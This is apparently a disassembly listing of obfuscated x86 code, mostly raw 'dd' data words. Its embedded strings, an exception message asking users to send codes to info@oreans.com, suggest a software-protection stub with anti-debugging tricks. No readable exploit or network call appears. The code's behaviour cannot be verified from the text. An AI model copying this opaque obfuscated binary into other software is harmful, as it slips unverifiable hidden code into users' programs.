		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2863C357h
		dd 151CD69Ch, 0E94BFCBEh, 11h, 0DC6972C5h, 6102F9E8h, 4BB4B241h
		dd 3B36367Bh, 0C495FFABh, 8B061FEEh, 1D1B8195h,	0D0858906h
		dd 0E9061FEEh, 8, 1D0E001Ch, 111786FBh,	8E8h, 6BEB9200h
		dd 28C0AC3Ch, 5AF85373h, 2585C759h, 61D1Ah, 8B000000h
		dd 1D3375BDh, 0E5852906h, 83061D10h, 1FEED0BDh,	840F0006h
		dd 20Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	69C35343h, 8D3313A0h, 61D25EDh,	0F1AE858Dh, 0CBB9061Fh
		dd 5079CA60h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0C3C35747h, 6220369h, 0D01088FAh, 6AF88B66h, 0C1816601h
		dd 0B5FF4BC1h, 61FEED0h, 0FF81DE80h, 1FEEC895h,	65BD8906h
		dd 0FF061D2Eh, 1FEED0B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 5B53FFC9h
		dd 2D8501E2h, 0FF061D15h, 1D273D95h, 8B506006h,	1D01FDBDh
		dd 66505F06h, 5A8EB81h,	0FF68615Bh, 6A000F01h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8B57C353h, 1D0BC9BDh, 9D8B6006h, 61D1951h, 68E0Fh, 9D8B0000h
		dd 61D057Dh, 0F5BD8361h, 61D06h, 26840Fh, 858D0000h, 61FEF29h
		dd 10E9h, 0E1F58300h, 71234FCh,	73AF2222h, 0EA93D9B7h
		dd 3EE909h, 9D890000h, 61D2601h, 0EEFF858Dh, 6A061Fh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0EF3E47C3h
		dd 346005D4h, 0C8B70F16h, 689BD8Bh, 8D8B061Dh, 61D0059h
		dd 2820F50h, 8A000000h,	0CCB5FFF0h, 3061FEEh, 1D080D8Dh
		dd 0C495FF06h, 0E9061FEEh, 7, 9A73A4F8h, 8919E108h, 1FEED085h
		dd 2870F06h, 0B2000000h, 0D0B5FF73h, 0B1061FEEh, 0C095FF9Dh
		dd 33061FEEh, 1D00058Dh, 0D0B5FF06h, 6A061FEEh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 81AEC353h, 8E86Ah, 0E6850000h, 4E8E15ECh, 0BD89CD5Ah
		dd 61D31D5h, 3D95FF59h,	6A061D27h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5973C356h
		dd 0E41E7FF5h, 122F3220h, 15A98D8Bh, 0B3E9061Dh, 89FFFFF5h
		dd 1D32698Dh, 19B5FF06h, 29061FFAh, 1D080DBDh, 1995FF06h
		dd 0F061D15h, 683h, 0D99D8900h,	8B061D2Ah, 1D1C9585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0E9609D43h, 5, 0C70F21C3h, 9D2952ECh, 61D2C35h, 0F4E96158h
		dd 57000005h, 0FE9h, 71510800h,	8FDDC84Ch, 0B1F8BD0h, 0CF9D635Fh
		dd 0CEB58D5Fh, 8B061FF1h, 1D136195h, 6E858D06h,	6A061F9Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 8D96C351h, 0BC6FCD7Eh, 6890Fh, 0BD8B0000h
		dd 61D207Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0D6223C3h, 801F1A61h, 0C5958B7Ah
		dd 6A061D18h, 13E900h, 0D83F0000h, 0A946FABCh, 326AFBC1h
		dd 29D4A3E1h, 0F208A586h, 4DF7819Dh, 0FF52B839h, 1D00FD95h
		dd 0B98D8B06h, 8B061D12h, 57006AF3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8842B903h
		dd 515F89C8h, 0B9958B1Eh, 8D061D14h, 1F9F6E85h,	0FFFA8B06h
		dd 6AF9D0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 15h,	47C35343h, 12E9511Eh, 7000000h,	0E75AE8E7h, 0DF445105h
		dd 0C7E93D30h, 0E7F65D6h, 95FF5F22h, 61D00FDh, 0E8C1CA80h
		dd 6, 8E253EDDh, 0BD3112DEh, 61D269Dh, 0FC08B5Ah, 0A8Bh
		dd 48F0F00h, 66000000h,	8394E2BAh, 1D1669BDh, 9750006h
		dd 121BD83h, 7400061Dh,	8B535019h, 7D9B8C0h, 85890000h
		dd 61D2A69h, 0A63D9D8Dh, 0D3FF061Fh, 0BD83585Bh, 61D0121h
		dd 50177400h, 7D9B853h,	85890000h, 61D2A69h, 0A32C9D8Dh
		dd 0D3FF061Fh, 850F585Bh, 0Ch, 68B0Fh, 95030000h, 61D15E5h
		dd 5526B966h, 0BD8BC08Bh, 61D06C5h, 56006A50h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6620E95Ch
		dd 6854E181h, 8D89D88Bh, 61D318Dh, 0FD9D8D53h, 8B061D10h
		dd 8B038903h, 43895043h, 0B29D8D50h, 8B061FF9h,	5B038903h
		dd 30CD8D03h, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0EE8489C3h, 6A006A72h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0A8B3C356h, 0B84584DEh, 858DFEB5h, 61FF9B2h,	21F19D89h
		dd 8B50061Dh, 1D2D01BDh, 60606A06h, 2EDD8D8Bh, 8D0F061Dh
		dd 6, 15B1958Bh, 8961061Dh, 1D0C3995h, 0FD858D06h, 50061D10h
		dd 2775958Bh, 6A061Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0CEC35242h, 0D3D28194h, 6A5390B3h, 0C9BF0F00h
		dd 180068h, 0B5950B00h,	53061D2Fh, 0F88B6653h, 7595FF5Fh
		dd 66061D2Bh, 95FFFB8Bh, 61D2A71h, 6800Fh, 8D8B0000h, 61D1595h
		dd 0FA19B5FFh, 0FE9061Fh, 0BE000000h, 2012AF5Bh, 0F4904350h
		dd 46B6DA88h, 95FF1C5Dh, 61D1519h, 5FCF8150h, 5A5A6102h
		dd 1FCD8D8Bh, 858D061Dh, 61D10FDh, 1CB58D33h, 0B589061Dh
		dd 61D02A1h, 6618408Bh,	0C77B1FBFh, 1D2D5D85h, 6, 7CA8100h
		dd 8B656439h, 1D21C18Dh, 0F5BD8306h, 61D06h, 36840Fh, 81660000h
		dd 3DB10ECAh, 8Ch, 19D830Fh, 0FE80000h,	0D1000000h, 0C44CCD5Dh
		dd 226F139Ah, 620DBD7Ah, 8D895B47h, 61D1941h, 15E95Ah
		dd 0B5090000h, 61D31B9h, 963Dh,	6C830F00h, 66000001h, 8DE117BAh
		dd 5AF59F85h, 0F88B6600h, 9533D0FFh, 61D2EC9h, 0EFF2858Dh
		dd 0F680005Ah, 8BD0FF04h, 1D046195h, 6AC08B06h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0C2A6C350h, 4F350BCDh, 69BD8323h, 61D16h, 0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 0BC6h, 2A698589h, 9D8D061Dh
		dd 61FA63Dh, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 0BC6h, 2A698589h, 9D8D061Dh,	61FA32Ch, 585BD3FFh, 0D002CA81h
		dd 6A4F8Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 398635C3h, 0D3A9B8BEh, 12E9h, 7FEDFA00h
		dd 279D4BC6h, 339AE408h, 5E71F3DBh, 8BAF645Dh, 835A50C0h
		dd 850FFFF8h, 6Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2EC35141h, 85C78760h,	61D0811h, 0
		dd 129E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0A89C9A9Fh, 3579C4C1h, 89608DE5h
		dd 1D151D95h, 0D9858B06h, 61061D10h, 19E9h, 11958B00h
		dd 83061D06h, 850F01F8h, 0Ah, 0E9D2BF0Fh, 117h,	6FE9E6B5h
		dd 0FFFFFF0h, 281h, 8BCB8B00h, 56006AC0h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6D31D76h, 38A0F89h
		dd 0F000000h, 0BE9D3B7h, 17000000h, 972DBC61h, 0DB24612Fh
		dd 0BD83E392h, 61D1669h, 83097500h, 1D0121BDh, 19740006h
		dd 0C08B5350h, 7DDB8h, 69858900h, 8D061D2Ah, 1FA63D9Dh
		dd 5BD3FF06h, 21BD8358h, 61D01h, 53501774h, 7DDB8h, 69858900h
		dd 8D061D2Ah, 1FA32C9Dh, 5BD3FF06h, 800F5358h, 6, 9719D89h
		dd 8B5F061Dh, 1D00F195h, 55B58906h, 8B061D07h, 238E9C0h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 3B4A3FC3h, 3AD9D09h, 858D061Dh, 61FF7B6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 7FC35040h
		dd 1497DA1h, 1FADBF66h,	0F9AE8589h, 0F0B5061Fh,	4DE9h
		dd 0F18D0100h, 8D061D10h, 1FF5BE85h, 0CF816606h, 6A40E5B6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 1DBCC352h, 89D78B66h, 1FF9AE85h, 10E906h
		dd 93010000h, 8CA09C12h, 468E9DF0h, 6E5E50E5h, 346A8B76h
		dd 2215858Dh, 0FF50061Dh, 1FF9AEB5h, 0FF006A06h, 1D0BD195h
		dd 7F88306h, 162840Fh, 8C660000h, 4C3F6DBh, 0FC850Fh, 85C60000h
		dd 61D1B25h, 0B8526856h, 0B5FF9CA8h, 61D11E5h, 3A83858Dh
		dd 0D0FF061Dh, 68046Ah,	6A000010h, 0FF006A64h, 218589D0h
		dd 0C6061FFAh, 1D1B2585h, 9B684706h, 0FFEC18ACh, 1D11E5B5h
		dd 83858D06h, 0FF061D3Ah, 8BD0FFD0h, 2585C6F0h,	4F061D1Bh
		dd 2F266168h, 55B5FFC6h, 8D061D33h, 1D3A8385h, 8DD0FF06h
		dd 1FFA1D9Dh, 286A5306h, 85D0FF56h, 0C60075C0h,	1D1B2585h
		dd 98684106h, 0FFDB8764h, 1D3355B5h, 83858D06h,	0FF061D3Ah
		dd 3A8589D0h, 0C6061FFAh, 1D1B2585h, 0A4684C06h, 0FF80A4E7h
		dd 1D3355B5h, 83858D06h, 0FF061D3Ah, 219D8BD0h,	8D061FFAh
		dd 8D53045Bh, 1FFA269Dh, 6A5306h, 9D8BD0FFh, 61FFA21h
		dd 103C7h, 43C70000h, 20Ch, 0D985C700h,	61D01h,	6A000000h
		dd 6A006A00h, 219D8B00h, 53061FFAh, 0B5FF006Ah,	61FFA1Dh
		dd 0FA3A95FFh, 85C6061Fh, 61D1B25h, 0F7976845h,	0B5FF92A5h
		dd 61D1365h, 3A83858Dh,	0D0FF061Dh, 26A006Ah, 8C66D0FFh
		dd 4C3F6DBh, 9D8B3275h,	61FFA21h, 0C43C7h, 6A000000h, 8B006A00h
		dd 1FFA219Dh, 6A5306h, 0FA1DB5FFh, 95FF061Fh, 61FFA3Ah
		dd 0FA1DB5FFh, 95FF061Fh, 61D2A71h, 95FF006Ah, 61D00FDh
		dd 8B0Fh, 858D0000h, 6202EF1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 28C35646h, 1B2304B6h, 0DA9009F5h
		dd 0E981662Eh, 9D89AA11h, 61D02BDh, 0D68B6650h,	35FF64h
		dd 57000000h, 10E9h, 46F5B600h,	2C1D1952h, 9D98FE00h, 793CC666h
		dd 89645AFDh, 25h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 5AE2E95Eh, 0AE8DC6E9h
		dd 0C9BD83FCh, 61D26h, 77840Fh,	0AEB90000h, 8370A835h
		dd 1D31C1BDh, 850F0106h, 65h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0A0C35040h,	4312F810h, 0F680205Ah
		dd 3ABD80EEh, 61FFEh, 33850Fh, 0B70F0000h, 187E9CAh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0CF886FC3h, 0E6BF9E6Ah, 89D18B46h, 1D266D8Dh, 60DB3306h
		dd 0BC60E981h, 0DA8B2883h, 6AC03361h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BF8BC355h
		dd 318D294Dh, 0F061D2Ah, 383h, 0CEBF0F00h, 73F0F40h, 58F640Bh
		dd 0
		dd 6604C483h, 1F8ADA81h, 0FFFFB83h, 0C84h, 0F4E9FC00h
		dd 81000000h, 0E4AE9CCAh, 88E96Ch, 0BF0F0000h, 244C8BCEh
		dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
		dd 245C8BC3h, 0E8550Ch,	5D000000h, 2F13ED81h, 838B0620h
		dd 0B8h, 2FE1858Dh, 83890620h, 0B8h, 0C3C0335Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CEC35040h, 31371244h
		dd 0C739F192h, 65BD33E6h, 52061D2Fh, 14E9h, 4E5D5800h
		dd 577D4FAFh, 446FF16h,	900E1D33h, 2668DCE9h, 858D5F9Ch
		dd 6202F09h, 50CEB70Fh,	35FF64h, 2B000000h, 1D2C6195h
		dd 25896406h, 0
		dd 0DE960h, 0D6C50000h,	0E1EC52CBh, 0E517CA55h,	0BEEDB797h
		dd 213EEAC7h, 0B941B261h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h
		dd 0BA8685D4h, 34B640h,	5FE8EA81h, 81ED0034h, 4D5868FBh
		dd 0C70A7556h, 1D055985h, 106h,	58F6400h, 0
		dd 8B04C483h, 0BFEA81FEh, 8B3D5AA7h, 53C08BD6h,	5ACA8B66h
		dd 1669BD83h, 7500061Dh, 21BD8309h, 61D01h, 53501974h
		dd 3DB8C08Bh, 89000004h, 1D0F3D85h, 0A49D8D06h,	0FF061FA6h
		dd 83585BD3h, 1D0121BDh, 17740006h, 3DB85350h, 89000004h
		dd 1D0F3D85h, 459D8D06h, 0FF061FA3h, 6A585BD3h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0D730C357h, 2AE219C1h, 2FCE781h, 6660125Ah, 61F9D98Bh
		dd 3AE9C08Bh, 4000001h,	31000000h, 3535382Eh, 7	dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 75BD8300h
		dd 61D05h, 12D840Fh, 858D0000h,	61FA15Ch, 0C6858D50h, 50061FA0h
		dd 168h, 6C95FF80h, 8D061FA1h, 20307B85h, 858D5006h, 6203085h
		dd 6A006A50h, 0DA858D00h, 50061FA0h, 0A15CB5FFh, 95FF061Fh
		dd 61D1389h, 307B858Dh,	8D500620h, 20308985h, 6A5006h
		dd 858D006Ah, 61FA0ECh,	5CB5FF50h, 0FF061FA1h, 1D138995h
		dd 7B858D06h, 50062030h, 3095858Dh, 6A500620h, 8D006A00h
		dd 1FA13985h, 0B5FF5006h, 61FA15Ch, 138995FFh, 858D061Dh
		dd 620307Bh, 9D858D50h,	50062030h, 6A006Ah, 0A157858Dh
		dd 0FF50061Fh, 1FA15CB5h, 8995FF06h, 8D061D13h,	20307B85h
		dd 858D5006h, 6203099h,	6A006A50h, 40858D00h, 50061FA1h
		dd 0A15CB5FFh, 95FF061Fh, 61D1389h, 307B858Dh, 8D500620h
		dd 20308D85h, 6A5006h, 858D006Ah, 61FA148h, 5CB5FF50h
		dd 0FF061FA1h, 1D138995h, 7B858D06h, 50062030h,	3091858Dh
		dd 6A500620h, 8D006A00h, 1FA14F85h, 0B5FF5006h,	61FA15Ch
		dd 138995FFh, 0B5FF061Dh, 61FA15Ch, 2A9195FFh, 0A2E9061Dh
		dd 83000000h, 1D25F1BDh, 840F0006h, 95h, 31C1BD83h, 0F00061Dh
		dd 1185h, 0C1958B00h, 81061D29h, 1CF8C2h, 0FE900h, 958D0000h
		dd 61D10FDh, 8134528Bh,	0D4C340C2h, 0ED95893Bh,	83061D32h
		dd 1D32EDBDh, 840F0006h, 55h, 32ED9D8Bh, 0C383061Dh, 89038B4Ch
		dd 20308585h, 0ED9D8B06h, 83061D32h, 38B50C3h, 30898589h
		dd 9D8B0620h, 61D32EDh,	8B54C383h, 95858903h, 8B062030h
		dd 1D32ED9Dh, 58C38306h, 8589038Bh, 6203099h, 32ED9D8Bh
		dd 0C383061Dh, 89038B5Ch, 20308D85h, 75BD8306h,	61D05h
		dd 0D850Fh, 0BD830000h,	61D25F1h, 68840F00h, 0FF000000h
		dd 20309DB5h, 91B5FF06h, 0FF062030h, 20308DB5h,	99B5FF06h
		dd 0FF062030h, 203095B5h, 89B5FF06h, 0FF062030h, 203085B5h
		dd 7F858D06h, 50062030h, 30B7858Dh, 8D500620h, 1D231D85h
		dd 95FF5006h, 61D0C21h,	6A24C483h, 0A1858D40h, 50062030h
		dd 231D858Dh, 6A50061Dh, 0D195FF00h, 6A061D0Bh,	0FD95FF01h
		dd 8B061D00h, 14E8C1h, 9E510000h, 0D7F7AD4h, 0AE635A1Ch
		dd 0DA5390F8h, 2420660Fh, 8E9BE68h, 8A000000h, 852E070Eh
		dd 58C9C013h, 0C081F78Bh, 731Eh, 0DE9h,	6D1EC600h, 0CB23B46Ah
		dd 14A43B69h, 0A1687337h, 5A00001Ch, 5890Fh, 0B5B90000h
		dd 0FF14EA30h, 5FF78B30h, 0E6D0C781h, 0EB801815h, 7BC78112h
		dd 6651ABD2h, 3F0FCB81h, 0FC5F781h, 48B975B6h, 571D84A3h
		dd 5820Fh, 81660000h, 8FE050C9h, 7E800h, 936A0000h, 3326198Dh
		dd 0DF8B66A7h, 4E88359h, 0F4ACE8Bh, 0FFFFB285h,	83E180FFh
		dd 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 62034E1h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 19B58BFFh, 81062035h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 1DB53B00h, 0F062035h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 32ED858Bh, 1886061Dh
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 2D95FF08h, 50061D26h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 32ED858Bh, 0C6061Dh, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 61D32EDh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61D0271h,	0
aLdLs		db 'D$',8,'',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 7185C700h, 61D02h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0BE85C700h
		dd 1062034h, 50000000h,	244C010Fh, 0C2858FFEh, 8D062034h
		dd 2034BA85h, 0C2BD8D06h, 89062034h, 23E938h, 858D0000h
		dd 61D10FDh, 538408Bh, 9B46F317h, 34BA8589h, 858D0620h
		dd 61D10FDh, 893C408Bh,	2034BE85h, 0D7858D06h, 89062034h
		dd 1D262D85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 4A858D00h, 89062037h, 1D328D85h, 72858D06h, 89062037h
		dd 1D270185h, 9A858D06h, 89062037h, 1D011585h, 6A6006h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 48275DC3h, 64987F9Fh, 0E97B2D38h, 13h, 0B1141E2Fh, 455EE902h
		dd 0FD1555FAh, 8293B167h, 60B675D1h, 61FBB70Fh,	6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 600A0AC3h, 5840F60h,	0BB000000h, 69FCB670h, 0BD8361FCh
		dd 61D1669h, 83097500h,	1D0121BDh, 19740006h, 0C08B5350h
		dd 40EB8h, 69858900h, 8D061D2Ah, 1FA63D9Dh, 5BD3FF06h
		dd 21BD8358h, 61D01h, 53501774h, 40EB8h, 69858900h, 8D061D2Ah
		dd 1FA32C9Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8A0FCA42h, 15h, 0EE956h
		dd 0B6D80000h, 53533774h, 0A5B87AAFh, 8458208Ah, 0F28B6659h
		dd 0E6BEC08Bh, 831F8065h, 1D26C9BDh, 840F0006h,	2Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 34E9C9AEh
		dd 0E9000002h, 7, 1BC8EA10h, 8C7D8578h,	51006ADFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0C7F766CBh, 850F0004h, 1FFh,	0D5C7F281h, 0FF2B1E28h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 35C35040h
		dd 0D6A6F456h, 15DE1B36h, 3B219D8Dh, 6A0620h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A11B6FC3h
		dd 0BAEB83C1h, 0BE50B123h, 64E18B3Ch, 44BE935Eh, 500119D3h
		dd 0E9605250h, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h
		dd 810FFBBDh, 0
		dd 66310F61h, 585AD38Bh, 6459B693h, 35FFh, 10E90000h, 47000000h
		dd 2685D34Ah, 0D1015957h, 0B3A39FAh, 64B58F68h,	2589h
		dd 880F0000h, 3, 8BD68B66h, 56006AC4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0A6BA6056h
		dd 61002C9Eh, 0F5BCFABAh, 0EB01CD77h, 5890F00h,	0BE000000h
		dd 7A11117Eh, 8F641EB1h, 5, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0EE813543h
		dd 296F0369h, 0B7E6CE81h, 0C48326A0h, 28E0F04h,	0B6000000h
		dd 0FC00B53h, 0C684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 617AC955h, 0F7A1CE81h
		dd 0BD8D0DC5h, 61D7191h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 69C35141h, 0E9EF4973h, 0B06A41h, 267B952h
		dd 1B83663h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 52FCC350h, 0E7FFE207h
		dd 10E9h, 53568A00h, 64C94740h,	1A2F4A9Bh, 0CB2D885Dh
		dd 5C8B5703h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
		dd 0B88383h, 5F020000h,	0FC3C033h, 284h, 0E938B500h, 7
		dd 0F9D2181Fh, 61B9A3F4h, 7E9h,	73A4F800h, 19E1089Ah, 6B93E9BAh
		dd 0FC08B4Ch, 489h, 59BE6600h, 69BD8382h, 61D16h, 0BD830975h
		dd 61D0121h, 50197400h,	0B8C08B53h, 40Eh, 0F3D8589h, 9D8D061Dh
		dd 61FA6A4h, 585BD3FFh,	121BD83h, 7400061Dh, 0B8535017h
		dd 40Eh, 0F3D8589h, 9D8D061Dh, 61FA345h, 585BD3FFh, 0AE9h
		dd 0B82BFE00h, 1840DE0Ch, 0E8530F0Dh, 0Ch, 0A7E527B0h
		dd 597134F1h, 0F525FFCBh, 8E8h,	930AAF00h, 9F7F42Dh, 0C2816602h
		dd 5A5AA4EAh, 0FE8C08Bh, 0A0000000h, 0E04C296Ah, 1BFC6EC4h
		dd 0C4B3C77Ch, 8B602793h, 8B5A61D3h, 8EBC2h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 1D31C185h
		dd 0AF858D06h, 8B06206Ah, 888B08h, 8B000010h, 4A8B660Ah
		dd 178D89FCh, 8306203Ch, 1D06F5BDh, 840F0006h, 0Fh, 0FF006A60h
		dd 1D120995h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 6203C13h, 3C17B58Bh, 0CEC10620h
		dd 72896610h, 17B58B02h, 6606203Ch, 61FC7289h, 3C13858Bh
		dd 8DC30620h, 1D0A2195h, 0ED958906h, 89061D32h,	1D2F4995h
		dd 4985FF06h, 0C6061D2Fh, 1D1B2585h, 0D8685306h, 0FFFCB148h
		dd 1D11E5B5h, 83858D06h, 0FF061D3Ah, 98589D0h, 8D061D12h
		dd 2034F185h, 69858906h, 0E9061D00h, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 672E9h, 666E900h
		dd 39680000h, 0E906203Eh, 0FFFD4266h, 203F6068h, 425CE906h
		dd 368FFFDh, 0E9062040h, 0FFFD4252h, 2040F168h,	4248E906h
		dd 1F68FFFDh, 0E9062042h, 0FFFD423Eh, 2CD69E9Ch, 1EC8A093h
		dd 12BCB085h, 3ADBB79h,	0F6A0CC6Ah, 6CCAA17Eh, 7ABD5600h
		dd 85B34CF6h, 99A841EBh, 0B94B31DBh, 629B9727h,	30BE2423h
		dd 0CEABC573h, 3FF89FFDh, 2542A6ABh, 967D08Dh, 0A6891DABh
		dd 748F2542h, 2542A6h, 2542A6E8h, 9990B94Eh, 82B9F7DFh
		dd 0FC039624h, 0F5052542h, 23A542FCh, 2DBF6F15h, 9F45CD14h
		dd 3D33049Fh, 5B15CD60h, 52E0E7FEh, 4300B081h, 43D17BF5h
